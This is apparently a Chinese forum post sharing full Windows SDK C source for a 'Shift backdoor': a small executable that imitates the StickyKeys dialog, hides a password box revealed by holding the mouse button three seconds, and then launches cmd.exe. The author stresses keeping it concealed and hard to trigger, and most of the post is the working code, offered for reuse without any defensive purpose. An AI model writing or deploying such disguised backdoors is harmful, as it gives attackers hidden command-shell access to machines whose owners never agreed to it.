Shift后门总结
前几天闲来无事,同事又叫我给他写一个shift后门。要求还挺多,最关键的一条是生成后的exe大小不能超过10k,而且还必须有仿真界面。这可难道了俺啊 ,想想如果用mfc的话呢文件就弹一个对话框都要20k的大小,实在是太大了。而win32的汇编我又不会,只好用sdk了,随便这段时间想学sdk编程,于是就硬着头皮,花了一天时间,弄了一个只有8k的shift后门。顺便也能学习一下怎么用sdk弄界面呢。
下面开始步入正题。
要使用sdk写windows程序,winmain函数肯定得知道吧,那个WinMain就是…….(以下省略若干字,怕被高手骂)。不懂的同学呢,也可以去看一下windows核心编程,好书啊。
WinMain函数中最重要的一件事情就是注册窗口类。主要用到的结构是WNDCLASS 这个结构的作用呢是什么 我也不了解,反正就是知道有这个结构,且必须用它。初始化结构完成后,就必须注册窗口,必须创建窗口。而shift键弹出来的那个框是不能改变大小的。仅这一点,而我又不太喜欢看msdn,所以就在网络上找,找了好久,终于在csdn上看见了怎么固定窗口大小,原来只要在CreateWindow上的窗口属性中加一个WS_DLGFRAME就ok了,哎!!

引用:
CreateWindowW( L"StickyKeys", L"StickyKeys",  WS_OVERLAPPED|WS_SYSMENU|WS_DLGFRAME  /*固定窗口大小*/,100,100,410,170,NULL,NULL,hInstance,NULL);
后面的事情就简单了 。就是创建消息循环,等待消息循环等等一系列的过程了。

这里有一个要说明的地方了。就是后门嘛,就要隐蔽,是吧,而且还不能被别人给发现了。而且还不能让别人随便就能触发后门,是吧。因此,主要采用的就是快捷键和加密的方式了。不过我不知道为什么,在使用快捷键的时候,当做了优化过后,快捷键就不能触发了,于是我该了一种思路,就是根据windows消息中的KEY_UP和KEY_DOWN事件,来触发这个消息。具体怎么触发的大家就看代码吧。
这里有几个问题想请教各位高手了。这个shift后门写出来过后呢,有几个缺陷,第一是通用性不好,因为里面有个地方时采用重绘窗口的方法,硬编码设置窗口颜色的,与实际的颜色会有差距,二呢是窗口右上角有一个icon 我想了很多方法都不能把他去掉,而用mfc建立的窗口默认就没有这个icon。所以如果谁知道有好的解决方法的呢,还请大家指教。
代码:
#include<Windows.h>
#include<strsafe.h>
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(lib,"strsafe")
LRESULT CALLBACK WindowProc(HWND hwnd,UINT uMsg,WPARAM wParam,  LPARAM lParam); //消息处理函数

HWND hbtn1,hbtn2,hbtn3,hbtpas;
HWND hText;
HINSTANCE hIns;
DWORD Timer = 0;
bool CheckPassword(WCHAR *pas);//密码验证函数
BOOL CALLBACK ShowSetHc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);
int WINAPI  WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ){
  WNDCLASS wndclass;
  wndclass.style = CS_VREDRAW;
  wndclass.cbClsExtra = NULL;
  wndclass.cbWndExtra = NULL;
  wndclass.hbrBackground =(HBRUSH)GetStockObject(DEFAULT_PALETTE);
  wndclass.hCursor = LoadCursor(NULL,IDC_ARROW); //take care

  wndclass.hIcon= NULL;
  wndclass.hInstance = hInstance;
  wndclass.lpfnWndProc = WindowProc;
  wndclass.lpszClassName = L"StickyKeys";
  wndclass.lpszMenuName = NULL;
  wndclass.style = CS_HREDRAW;

  hIns = hInstance;
  RegisterClass(&wndclass);
  HWND hwnd = CreateWindowW( L"StickyKeys", L"StickyKeys",  WS_OVERLAPPED|WS_SYSMENU|WS_DLGFRAME  /*固定窗口大小*/,100,100,410,170,NULL,NULL,hInstance,NULL);
  ShowWindow(hwnd,SW_SHOW);
  MSG msg;
  while (GetMessageW(&msg,NULL,NULL,NULL))
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
  return 1;
}
LRESULT CALLBACK WindowProc(HWND hwnd,UINT uMsg, WPARAM wParam, LPARAM lParam)
{
  STARTUPINFOW si={0};
  si.cb = sizeof(STARTUPINFO);
  si.dwFlags = STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_SHOW;
  PROCESS_INFORMATION pi;
  WCHAR System[MAX_PATH] ={0} ;
  GetSystemDirectory(System,MAX_PATH);

  switch(uMsg){
    case WM_CREATE:      
      {
        //创建按钮,其中有1 2 3 是显示在界面上的,而hbtpas和hText是隐藏了的。必须触发消息过后才能显示出来,
        hbtn1 = CreateWindowW( TEXT("BUTTON"), L"OK",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,70,95,75,20,hwnd,(HMENU)1000,((LPCREATESTRUCT)lParam)->hInstance,NULL);
        hbtn2 = CreateWindowW( TEXT("BUTTON"), L"Cancel",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,155,95,75,20,hwnd,(HMENU)1001,((LPCREATESTRUCT)lParam)->hInstance,NULL);
        hbtn3 = CreateWindowW( TEXT("BUTTON"), L"&Setting",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON,243,95,75,20,hwnd,(HMENU)1002,((LPCREATESTRUCT)lParam)->hInstance,NULL);    
        hbtpas = CreateWindowW( TEXT("BUTTON"), L"Login",WS_CHILD | WS_VISIBLE |BS_PUSHBUTTON ,0,50,75,20,hwnd,(HMENU)1003,((LPCREATESTRUCT)lParam)->hInstance,NULL);    
        hText =CreateWindowW( TEXT("EDIT"), L"",WS_CHILD | WS_VISIBLE |ES_PASSWORD ,0,0,100,20,hwnd,(HMENU)1004,((LPCREATESTRUCT)lParam)->hInstance,NULL);  
        ShowWindow(hText,SW_HIDE);
        ShowWindow(hbtpas,SW_HIDE);
        SendMessage(hwnd,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
        SendMessage(hwnd,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
        SendMessage(hbtn1,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
        SendMessage(hbtn2,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
        SendMessage(hbtn3,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
      }
      break;
    case WM_PAINT:
      {
        PAINTSTRUCT ps;
        HDC dc;
        dc = BeginPaint(hwnd,&ps);
        RECT rt;
        GetClientRect(hwnd, &rt);
        HBRUSH brush=CreateSolidBrush(RGB(236,233,216));//创建画刷 这里是尽量模仿真实的界面。
        RECT rect;
        GetClientRect(hwnd,&rect);//获得主窗口的面积
        HBRUSH  oldbrush=(HBRUSH)SelectObject(dc,brush);
        Rectangle(dc,rect.left-1, rect.top-1, rect.right+1, rect.bottom+1);
        SelectObject(dc,oldbrush);  
        SelectObject(dc,GetStockObject(DEFAULT_GUI_FONT));
        WCHAR str[] =  
          L"Pressing the SHIFT key 5 times  turn on StickyKeys.StickyKeys lets you use\n"
          L"the SHIFT,CTRL,ALT,or Windows Logo Keys by Pressing one key at a time.\n\n"
          L"To keep StickyKeys on,click OK.\n"
          L"To cancel StickyKeys,click Cancel.\n"
          L"To deactivate the key combination for StickyKeys,click Settings.";
        SetBkMode(dc,TRANSPARENT);
        rt.left =10;
        rt.top = 10;
        DrawText(dc,str,wcslen(str),&rt,DT_LEFT);
        EndPaint(hwnd,&ps);
        break;
      }
    case WM_COMMAND:
      {
        switch(LOWORD(wParam))
        {
        case 1000: // 单击确定按钮
          PostMessage(hwnd,WM_CLOSE,0,0);
          break;
        case 1001: // 单击取消
          PostMessage(hwnd,WM_CLOSE,0,0);
          break;
        case 1002: //单击设置
          {
            StringCbCatN(System,MAX_PATH,L"\\rundll32.exe",MAX_PATH);
            CreateProcessW(System,L" shell32.dll,Control_RunDLL access.cpl,,1",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
            PostQuitMessage(0);
          }
          break;
        case 1003:
          StringCbCatN(System,MAX_PATH,L"\\cmd.exe",MAX_PATH);
          WCHAR password[16]={0};
          GetDlgItemText(hwnd,1004,password,MAX_PATH);
          if (CheckPassword(password))//这个函数是加密函数,如果有需要呢大家就自己实现吧。。。我就不放出来了
          {
              CreateProcessW(System,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
          }
          PostQuitMessage(0);
        }
        break;
      }
    case WM_LBUTTONUP:  //当按下鼠标左键在任意位置cpu时间3000ms以上过后,就触发事件,于是密码输入框就出来了。
      if (GetTickCount()-Timer>=3000){
        ShowWindow(hText,SW_SHOW);
        ShowWindow(hbtpas,SW_SHOW);
      }
      break;
    case WM_KEYDOWN:
      break;
    case WM_LBUTTONDOWN:
      Timer = GetTickCount();
      break;
    case WM_CLOSE:
      PostQuitMessage(0);
      break;
    case WM_DESTROY:
      DestroyWindow(hwnd);
      break;
    default:
      return DefWindowProc(hwnd,uMsg,wParam,lParam);
  }
  return 0;
}